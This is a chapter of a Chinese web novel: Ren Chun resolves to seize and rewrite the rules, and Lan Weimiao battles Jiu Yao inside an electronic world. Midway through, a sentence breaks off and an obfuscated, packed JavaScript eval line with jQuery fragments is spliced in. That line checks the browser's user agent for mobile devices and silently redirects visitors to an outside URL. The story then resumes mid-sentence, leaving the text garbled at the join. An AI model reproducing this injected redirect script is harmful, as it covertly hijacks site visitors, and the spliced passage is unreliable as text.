101. 情绪调解员37
作品:《这是正经监狱吗[无限]》 “……你想做什么?”凌元忠清楚地听见自己吞咽口水的声音,原本咋咋呼呼的声音带着一丝不易察觉的颤抖。
他想到了一种可能性。
任春低下头,脸上带着笑意,像是和他第一见面那样,如同邻家小妹妹那样温暖和煦,“当然是抢过规则,重新书写。”
凌元忠:“……”
看着对方在瞬间空白的双眼,任春有些不好意思的笑了笑,“我小时候容易受风寒,一旦吹风,我的头就会剧烈的疼痛,所以就算是穿着防护服,也需要带着贝雷帽,我总是知道如何精细的保护自己,也知道怎么将一件事情抽丝剥茧,我会找到入口在哪的。”
她不知道从哪拽出来了一条围巾,轻柔的系在凌元忠的身上,“你也要好好地注意保暖啊,入口一定在公司吧,不然你们没必要千里迢迢的跑过来。”
任春她,到底从那场聊天中,分析出了多少事情?
凌元忠对一些事情很难深思,但是任春对于细节的捕捉,简直是恐怖。
“让我猜猜,如果是我的公司,我一定会把它保存到一个足够重要的地方,最好可以看得见,在我公司的枢纽,比如,天台?顶楼,不在员工区域,是顶上的第一层,第二层,还是第三层?”
四周的人从自己的身侧走过,得益于广泰平的举动,这里大部分的人都认识任春,以为她是跟着广泰平来的,也没有加以管束。
凌元忠的心脏蓦地一跳,心道自己还不如被审讯呢。
“在顶层是吗,你的眼神一下子就变了。”任春给围巾打了一个十分漂亮的蝴蝶结,看着她脸上灿烂的笑,凌元忠觉得自己要窒息了,“谢谢你。”
“不行,你不能去!”他下意识的伸手,却被重力跌倒在地上,顾不得自己摔得多狼狈,他将自己有些碍眼的碎发摇晃开,声音急切:
“你没见过梵印的持有者是什么样的,你也不拥有梵印,没有见过那些东西有多恐怖,贸然闯入,你连你自己死在哪里都不知道!”
“别这样,元忠哥,你的声音太大了,你看,他们都在看着你呢。”任春笑眯眯的将围巾拆散重新打结,“我不在乎这些,对我来说,过早地死亡,只会让人更早的脱离苦海,再见。”
电子世界。
兰微渺进入后,她就和咎谣打的不可开交。
咎谣虽然变大了,表情不会变换,但是显而易见的,是动作变得十分的迟缓。
他手臂行动的时候,那些插在他身上的电缆也会跟着行动,导致这个世界的供电变得混乱,一闪一闪的,看起来像是接触不良那样。
“你知道我在你的身体中,看见了什么吗?”兰微渺踏上了他的手腕,迅速地奔跑着。
咎谣根本不想知道对方看见了什么,在这个地方,兰微渺渺小极了,看起来就像是一只会动的蚂蚁一样,踩在有些冻僵的肌肤上,他只会感觉有些痒。
他没说话,兰微渺已经走到了对方的肩膀上,他似乎没办法抬起脚跳跃起来,即使顶上是一望无际的黑色天空。
“你和【世界】融合的不深吧,相信我,这一点东西复苏,你一定会很感兴趣的。”兰微渺的手掌贴在了对方的心脏上,刹那间,那点微弱像是死灰一样的光辉缓缓复燃起来。
咎谣在一瞬间,就看见了年幼的自己。
那是他母亲还在的时候,头上像是顶着一个倒扣碗的发型,穿着加绒的牛仔外套和牛仔裤,里面是一件白色的衬衣。
小小的咎谣手上拿着一把秤,那是他在背后垃圾场捡到的东西。
垃圾场里面都是没人要的东西,就比如说这把生锈量不准的秤,比如被遗弃的咎谣。
他小的时候,想要一架飞机,商场里的飞机模型很贵,他很早就懂事了,明白母亲拉扯他长大就已经足够艰难了,从来不会向母亲索取什么,只要自己还活在这个世界上,已经足够惊喜了。
女人弯下腰,双手抓着咎谣的咯吱窝,将他举到高处,“今天的咎谣,有没有好好听老师的话呀?”
举高高是咎谣最喜欢的游戏,那时候他年纪小,母亲还可以将他举起,被举起之后,原本高大的大人在自己的眼里变得比自己矮了不少,就好像自己站在高处俯瞰了人群一下。
小小的咎谣咯咯的笑起来,奶声奶气的,“有呀,当然有好好听课啊。”
培育所的教育和课程在岚观居民成年前都是免费的,但是爱不是。
他将生锈的秤杆高高举起,从女人的头顶飞过,“飞机起飞喽,所有的坏蛋都会被赶出门窗的。”
两个同样重量的秤杆却因为一方的生锈,慢慢的倾斜过去,而咎谣却认为,坏人会在倾斜下,坠下飞机。
女人看着秤杆投落下的阳光,温暖的光亮格外的舒服,她笑:“好啊,咎谣以后就当小法官,给所有有罪的人,定上罪名。”
那些美好的回忆让眼前的事物变得虚幻起来,他像是一个外来客,静静地看着面前的场景。
骤然间,一股刺痛感从脚底开始蔓延,他低下头,才发现那些汲取自己营养的管子,像是疯了一样吸收着他的能量。
怎么会这样?
兰微渺的身形已经很虚弱了,哪怕在黑暗中,看起来也格外暗淡,那些光线已经不能称之为线了,已经成为了稀薄的云雾。
“【世界】。”兰微渺抬起头,带着一抹挑衅的微笑。
她不再坚持,只是站在远处,等待着世界卡牌汲取完咎谣的力量。
兰微渺没有计算错的话,咎谣现在都不能够吸收【世界】,无非是因为【世界】与【源泉】一样,都有一个自己等待着的主人。
不过。
她抬起手,微弱的光亮忽明忽暗,几乎感知不到自己的存在。
【世界】吸收的可真是贪婪啊,但凡再多一些,自己就没命了。
就算感觉不到疼痛,兰微渺也知道,自己现在完全就是靠着一口气吊着的,一旦这口气完了,自己会消散在魇里。
她还没打算把兰家交给兰玄凤那个小人。
线缆疯狂的汲取着咎谣体内的能量,他身躯肉眼可见的瘦弱了一些。
就算看不见咎谣的表情,也知道对方的表情现在绝对不太好。
他扭动着,似乎是想将自己身上的那些线全部扯下来,但是在这么多天里面,那些线缆早就成为了咎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384046|169863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谣的一部分,就像是树干一样,镶嵌在咎谣的每一节骨髓。
早在之前,咎谣就摸清楚了,这个魇要平稳的运行,绝对离不开【世界】。
他不太在意这个梵印是否归属于自己,让他不能接受的是,这个梵印居然在尝试吞噬自己。
和没有主人的梵印说话是讲不通的,所以咎谣只能想办法反守为攻,吸收掉这个梵印。
【世界】大概也没想过,他还可以反抗,进攻的速度慢了一些,形成了一种微妙的平衡。
它从咎谣的身上获得能量供这个世界的形成,而咎谣同样从对方的身上获得了修养。
而现在,这个平衡被打破了。
兰微渺将体内大半复苏的能力都给予了【世界】,这个一直在沉睡的猛兽,终于获得了自己的力量,像是从冬眠中醒来的熊,第一反应就是寻找猎物。
而咎谣就是躺在自己窝边上的猎物,对于【世界】来说,当然是不要白不要。
“呵呵……”
低沉的笑声响起,声音回荡这个寂静的环境中显得有些诡异,咎谣缓缓抬起头,“你以为,它获得了你那点微弱的力量,就可以将我吞噬了吗?你们管理局的人,还是太天真了?”
“你知道我是管理局的人?”兰微渺一阵。
咎谣微微低头,看着渺小如同蚂蚁一样的兰微渺,表情怜悯,“我当然知道了,第八区的前管理局副局长?”
“你到底在和什么人合作,安全区吗?”
“当然不是。”咎谣笑眯眯的,手上的那些线无声地碎裂开,“也许是风灵会呢?”
风灵会?
兰微渺的脸色渐渐凝重起来。
难怪她会在圆楼中看见那个无头的风灵会雕塑。
兰微渺:“我凭什么信你,风灵会虽说信徒无数,但他们信奉纯血,怎么可能参与压行者一事?”
“这就是你们岚观的事情了,你们管理局不仅对魇的了解不够了解,对自己的敌对势力也一无所知,你们管理局是收揽了不少压行者,对于这个世界你们了解多少?不过是一叶障目而已。”
咎谣似乎恢复的不错,他脸上的血色渐渐地回来了,脸上和话语中又戴上了那种模糊不清的笑,“老实说吧,我不是很喜欢风灵会,我也不喜欢他们的教义,但是没办法,毕竟我是在给风灵会做事,不是吗?”
“你看不起它们,不尊重它们习俗,祂的脑袋,是被你砍下的吗?”
“当然。”咎谣微微低头眼底含笑,“之前【世界】躲躲藏藏的时候,我还苦恼过怎么让它主动的攻击我,有了你那点微薄的【复苏】,就真以为自己可以翻身做主人了吗?一个没有思想的梵印,再怎么活着,都像是行尸走肉。”
兰微渺还没有反应过来,骤然间,强烈的失重感袭来,在她瞪大的的双眼中,兰微渺看见自己高高举起的手,看见自己的鞋子,听见了风在自己耳侧哗啦啦的作响。
世界仿佛在瞬间颠倒,视线变得模糊,没办法捕捉到四处的场景。
心脏极速的跳动着,仿佛要摆脱胸腔的舒服,每一次的搏动都像是耳侧激烈的响动着。
咚、咚、咚。

